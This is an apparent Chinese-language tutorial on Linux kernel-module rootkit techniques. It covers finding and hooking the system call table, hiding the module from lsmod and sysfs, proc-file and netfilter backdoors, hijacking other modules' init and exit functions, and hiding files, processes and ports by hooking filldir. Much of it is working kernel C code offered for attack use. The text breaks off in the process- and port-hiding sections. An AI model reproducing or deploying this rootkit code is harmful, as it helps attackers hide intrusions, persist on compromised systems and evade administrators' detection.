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linux lkm rootkit常用技巧

目錄

1、劫持系統呼叫

遍歷地址空間

根據IDT地址,找到中斷處理函式,再從中根據特徵碼找到系統呼叫表

根據system.map來尋找

核心中kallsym尋找符號地址

內聯鉤子

系統派遣例程篡改

模擬系統呼叫

通過/dev/kmem訪問記憶體來實現系統呼叫表的搜尋

kprobes

LSM hook技術

2、隱藏模組

刪除全域性模組連結串列

從sysfs中隱藏模組

從檔案隱藏的角度來隱藏模組

3、後門

使用proc檔案提高程序許可權

使用netfilter過濾進入系統的網路包,通過網路包中特殊欄位來做到控制系統

4、防止其他模組載入

5、隱藏檔案

6、隱藏程序

7、隱藏埠


1、劫持系統呼叫

遍歷地址空間

根據系統呼叫中的一些匯出函式,比如sys_close的地址來尋找

unsigned long **
get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;

  for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
    if (entry[__NR_close] == (unsigned long *)sys_close) {
        return entry;
      }
  }

  return NULL;
}

這要求判斷的地址是匯出函式,這樣才能獲取到地址

根據IDT地址,找到中斷處理函式,再從中根據特徵碼找到系統呼叫表

在i386的機器中,使用如下程式碼呼叫系統呼叫表

call *sys_call_table(,%eax,4)

這條指令的二進位制程式碼是

0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

然後根據0xff 0x14 0x85這3個特徵碼去尋找表的地址

IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
asm("sidt %0" : "=m" (idtr));
IDT = (interrupt_descriptor *) idtr.base_addr;
system_gate = &IDT[0x80];
sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1);
for (i = 0; i < 100; i++) {
    if (sys_call_asm[i] == (unsigned char) 0xff &&
    sys_call_asm[i+1] == (unsigned char) 0x14 &&
    sys_call_asm[i+2] == (unsigned char) 0x85)
    *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3];
}

根據system.map來尋找

System.map位於/boot目錄下,核心編譯時生的符號表內容

直接在這個檔案中尋找sys_call_table的地址

核心中kallsym尋找符號地址

核心中有查詢符號表地址的函式,直接使用就可以了

//查詢符號表的函式
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
    int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) return !!(data[1] = addr);
    } return 0;
}
/*
利用kallsyms_on_each_symbol可以查詢符號表,只需要傳入查詢函式就可以了
data[0]表示要查詢的地址
data[1]表示結果
*/
static void *khook_lookup_name(const char *name)
{
    long data[2] = { (long)name, 0 };
    kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
    return (void *)data[1];
}

內聯鉤子

替換掉核心程式碼的前一部分,實現劫持核心其他的函式邏輯

具體可以看這裡:https://www.cnblogs.com/likaiming/p/10970543.html

系統派遣例程篡改

在整個系統呼叫的流程中,修改跳轉到sys_call_table的地址的位置,然後跳轉到自定義偽造系統呼叫表,這樣也可以實現系統呼叫的劫持

模擬系統呼叫

寫一段程式碼,用到sys_call_table,然後使用objdump檢視地址

#include <stdio.h>
void fun1()
{
        printf("fun1/n");
}
void fun2()
{
        printf("fun2/n");
}
unsigned int sys_call_table[2] = {fun1, fun2};
int main(int argc, char **argv)
{
        asm("call *sys_call_table(%eax,4");
}

通過/dev/kmem訪問記憶體來實現系統呼叫表的搜尋

這種方式統一和之前的記憶體地址搜尋一樣,需要特徵碼,比如說0xff 0x14 0x85

kprobes

它的工作方式如下:

1. 使用者指定一個探測點,並把一個使用者定義的處理函式關聯到該探測點
2. 在註冊探測點的時候,對被探測函式的指令碼進行替換,替換為int 3的指令碼
3. 在執行int 3的異常執行中,通過通知鏈的方式呼叫kprobe的異常處理函式
4. 在kprobe的異常出來函式中,判斷是否存在pre_handler鉤子,存在則執行
5. 執行完後,準備進入單步除錯,通過設定EFLAGS中的TF標誌位,並且把異常返回的地址修改為儲存的原指令碼
6. 程式碼返回,執行原有指令,執行結束後觸發單步異常
7. 在單步異常的處理中,清除單步標誌,執行post_handler流程,並最終返回 

LSM hook技術

修改LSM的鉤子函式,也就是全域性表security_ops的函式指標

2、隱藏模組

刪除全域性模組連結串列

lsmod命令是通過/proc/modules來獲取當前系統模組資訊的,而/proc/modules中的當前系統模組資訊是核心利用struct modules結構體的表頭遍歷核心模組連結串列、從所有模組的struct module結構體中獲取模組的相關資訊來得到的。結構體struct module在核心中代表一個核心模組。通過insmod(實際執行init_module系統呼叫)把自己編寫的核心模組插入核心時,模組便與一個 struct module結構體相關聯,併成為核心的一部分,所有的核心模組都被維護在一個全域性連結串列中,連結串列頭是一個全域性變數struct module *modules。任何一個新建立的模組,都會被加入到這個連結串列的頭部,通過modules->next即可引用到。為了讓我們的模組在lsmod命令中的輸出裡消失掉,我們需要在這個連結串列內刪除我們的模組

從sysfs中隱藏模組

除了lsmod命令和相對應的檢視/proc/modules以外,我們還可以在sysfs中,也就是通過檢視/sys/module/目錄來發現現有的模組

這個問題也很好解決,在初始化函式中新增一行程式碼即可解決問題

kobject_del(&THIS_MODULE->mkobj.kobj);

從檔案隱藏的角度來隱藏模組

前面說到,使用者態讀取模組資訊是proc/modules和sys/modules,可以採用隱藏檔案的方式來隱藏這兩個檔案的資訊

3、後門

使用proc檔案提高程序許可權

新建一個proc檔案(當然最後要隱藏),然後自定義file_operation中的寫操作,用來提取許可權

使用netfilter過濾進入系統的網路包,通過網路包中特殊欄位來做到控制系統

4、防止其他模組載入

註冊或者登出模組通知處理函式可以使用register_module_notifier或者unregister_module_notifier

編寫一個通知處理函式,然後填充struct notifier_block結構體, 最後使用register_module_notifier註冊就可以了

int module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);
 
struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

處理函式裡面再更改許可權

int
fake_init(void);
void
fake_exit(void);
 
int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定義鎖。
    DEFINE_SPINLOCK(module_notifier_spinlock);
 
    module = data;
    fm_alert("Processing the module: %s\n", module->name);
 
    //儲存中斷狀態加鎖。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.\n",
                 module->name);
        // 偷天換日:篡改模組的初始函式與退出函式。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }
 
    // 恢復中斷狀態解鎖。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);
 
    return NOTIFY_DONE;
}
 
 
int
fake_init(void)
{
    fm_alert("%s\n", "Fake init.");
 
    return 0;
}
 
 
void
fake_exit(void)
{
    fm_alert("%s\n", "Fake exit.");
 
    return;
}

5、隱藏檔案

到檔案隱藏,我們不妨先看看檔案遍歷的實現,在linux核心中,fs\readdir.c中,有3個用來遍歷檔案的系統呼叫,old_readdir,getdents和getdents64,看其中兩個,也就是系統呼叫getdents/getdents64,簡略地瀏覽它在核心態服務函式(sys_getdents)的原始碼 (位於fs/readdir.c),我們可以看到如下呼叫層次,sys_getdents->iterate_dir->struct file_operations裡的iterate->這兒省略若干層次 ->struct dir_context裡的actor,也就是filldir

filldir負責把一項記錄(比如說目錄下的一個檔案或者一個子目錄)填到返回的緩衝區裡。如果我們鉤掉filldir,並在我們的鉤子函式裡對某些特定的記錄予以直接丟棄,不填到緩衝區裡,上層函式與應用程式就收不到那個記錄,也就不知道那個檔案或者資料夾的存在了,也就實現了檔案隱藏。

具體說來,我們的隱藏邏輯如下: 篡改根目錄(也就是“/”)的iterate為我們的假iterate, 在假函式裡把struct dir_context裡的actor替換成我們的 假filldir,假filldir會把需要隱藏的檔案過濾掉。

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 備份真的 ``filldir``,以備後面之需。
    real_filldir = ctx->actor;
 
    // 把 ``struct dir_context`` 裡的 ``actor``,
    // 也就是真的 ``filldir``
    // 替換成我們的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;
 
    return real_iterate(filp, ctx);
}
 
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隱藏的檔案,直接返回,不填到緩衝區裡。
        fm_alert("Hiding: %s", name);
        return 0;
    }
 
    /* pr_cont("%s ", name); */
 
    // 如果不是需要隱藏的檔案,
    // 交給的真的 ``filldir`` 把這個記錄填到緩衝區裡。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

通用巨集

# define set_f_op(op, path, new, old)                       \
    do {                                                    \
        struct file *filp;                                  \
        struct file_operations *f_op;                       \
                                                            \
        fm_alert("Opening the path: %s.\n", path);          \
        filp = filp_open(path, O_RDONLY, 0);                \
        if (IS_ERR(filp)) {                                 \
            fm_alert("Failed to open %s with error %ld.\n", \
                     path, PTR_ERR(filp));                  \
            old = NULL;                                     \
        } else {                                            \
            fm_alert("Succeeded in opening: %s\n", path);   \
            f_op = (struct file_operations *)filp->f_op;    \
            old = f_op->op;                                 \
                                                            \
            fm_alert("Changing iterate from %p to %p.\n",   \
                     old, new);                             \
            disable_write_protection();                     \
            f_op->op = new;                                 \
            enable_write_protection();                      \
        }                                                   \
    } while(0)

比如這麼呼叫下面的程式碼

void *dummy;
set_file_op(iterate, "/", real_iterate, dummy);

6、隱藏程序

Linux 上純使用者態列舉並獲取程序資訊,/proc是唯一的去處。所以,對使用者態隱藏程序,我們可以隱藏掉/proc下面的目錄,這樣使用者態能枚舉出來程序就在我們的控制下了。讀者現在應該些許體會到為什麼檔案隱藏是重點內容了。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;
 
    // 把字串變成長整數。
    pid = simple_strtol(name, &endp, 10);
 
    if (pid == SECRET_PROC) {
        // 是我們需要隱藏的程序,直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }
 
    /* pr_cont("%s ", name); */
 
    // 不是需要隱藏的程序,交給真的 ``filldir`` 填到緩衝區裡。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);

7、隱藏埠

向用戶態隱藏埠, 其實就是在使用者程序讀/proc下面的相關檔案獲取埠資訊時, 把需要隱藏的的埠的內容過濾掉,使得使用者程序讀到的內容裡面沒有我們想隱藏的埠。
具體說來,看下面的表格。
網路型別 /proc 檔案 核心原始碼檔案 主要實現函式
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show